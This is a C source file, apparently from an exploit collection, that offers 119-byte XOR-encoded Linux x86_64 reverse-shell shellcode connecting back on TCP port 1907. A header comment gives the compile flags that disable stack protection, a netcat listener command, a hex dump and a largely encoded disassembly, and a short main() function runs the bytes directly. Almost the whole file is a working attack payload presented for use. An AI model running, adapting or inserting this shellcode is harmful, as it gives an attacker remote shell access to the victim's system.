94 lines
No EOL
2.7 KiB
C
94 lines
No EOL
2.7 KiB
C
/*
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reverse shell tcp (1907) port shellcode C language - Linux/x86_64
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Author : Kağan Çapar
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contact: kagancapar@gmail.com
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shellcode len : 119 bytes
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compilation: gcc -fno-stack-protector -z execstack reverse-shell.c -o reverse-shell
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Test:
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run your machine: nc -vlp 1907
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and run exploit (./reverse-shell)
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check shellcode raw and test ls, who, pwd command.
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<shellproccod>: 0x48 0x31 0xc9 0x48 0x81 0xe9 0xf6 0xff
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<shellproccod+8>: 0xff 0xff 0x48 0x8d 0x05 0xef 0xff 0xff
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<shellproccod+16>: 0xff 0x48 0xbb 0xdf 0x4b 0x06 0xb1 0x71
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<shellproccod+24>: 0x71 0x46 0x28 0x48 0x31 0x58 0x27 0x48
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<shellproccod+32>: 0x2d 0xf8 0xff 0xff 0xff 0xe2 0xf4 0xb5
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<shellproccod+40>: 0x62 0x5e 0x28 0x1b 0x73 0x19 0x42 0xde
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<shellproccod+48>: 0x15 0x09 0xb4 0x39 0xe6 0x0e 0x91 0xdd
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<shellproccod+56>: 0x4b 0x01 0xc2 0x0e 0x71 0x46 0x29 0x8e
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<shellproccod+64>: 0x03 0x8f 0x57 0x1b 0x61 0x1c 0x42 0xf5
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<shellproccod+72>: 0x13 0x09 0xb4 0x1b 0x72 0x18 0x60 0x20
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<shellproccod+80>: 0x85 0x6c 0x90 0x29 0x7e 0x43 0x5d 0x29
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<shellproccod+88>: 0x21 0x3d 0xe9 0xe8 0x39 0xfd 0x07 0xbd
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<shellproccod+96>: 0x22 0x68 0x9e 0x02 0x19 0x46 0x7b 0x97
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<shellproccod+104>: 0xc2 0xe1 0xe3 0x26 0x39 0xcf 0xce 0xd0
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<shellproccod+112>: 0x4e 0x06 0xb1 0x71 0x71 0x46 0x28
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assembly code is below:
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xor %rcx,%rcx
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sub $0xfffffffffffffff6,%rcx
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lea -0x11(%rip),%rax # 0x555555558060 <shellproccod>
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movabs $0x28467171b1064bdf,%rbx
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xor %rbx,0x27(%rax)
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sub $0xfffffffffffffff8,%rax
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loop 0x55555555807b <shellproccod+27>
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mov $0x62,%ch
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pop %rsi
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sub %bl,(%rbx)
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jae 0x5555555580a7 <shellproccod+71>
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rex.X ficoms -0x19c64bf7(%rip) # 0x55553b8f349e
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xchg %eax,%ecx
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fisttpll 0x1(%rbx)
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retq $0x710e
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rex.RX sub %r9d,0x1b578f03(%rsi)
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(bad)
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sbb $0x42,%al
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cmc
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adc (%rcx),%ecx
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mov $0x1b,%ah
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jb 0x5555555580c6 <shellproccod+102>
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and %al,0x7e29906c(%rbp)
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rex.XB pop %r13
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sub %esp,(%rcx)
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cmp $0xfd39e8e9,%eax
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mov $0x29e6822,%ebp
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sbb %eax,0x7b(%rsi)
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xchg %eax,%edi
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retq $0xe3e1
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es cmp %ecx,%edi
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rorb 0x6(%rsi)
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mov $0x71,%cl
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jno 0x55555555811c
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sub %al,(%rax)
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*/
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#include <stdio.h>
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#include <string.h>
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unsigned char shellproccod[] = \
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"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
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"\xff\xff\x48\xbb\xdf\x4b\x06\xb1\x71\x71\x46\x28\x48\x31\x58"
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"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb5\x62\x5e\x28\x1b\x73"
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"\x19\x42\xde\x15\x09\xb4\x39\xe6\x0e\x91\xdd\x4b\x01\xc2\x0e"
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"\x71\x46\x29\x8e\x03\x8f\x57\x1b\x61\x1c\x42\xf5\x13\x09\xb4"
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"\x1b\x72\x18\x60\x20\x85\x6c\x90\x29\x7e\x43\x5d\x29\x21\x3d"
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"\xe9\xe8\x39\xfd\x07\xbd\x22\x68\x9e\x02\x19\x46\x7b\x97\xc2"
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"\xe1\xe3\x26\x39\xcf\xce\xd0\x4e\x06\xb1\x71\x71\x46\x28";
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int main()
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{
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printf("Shellcode len: %d\n", strlen(shellproccod));
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int (*ret)() = (int(*)())shellproccod;
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ret();
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} |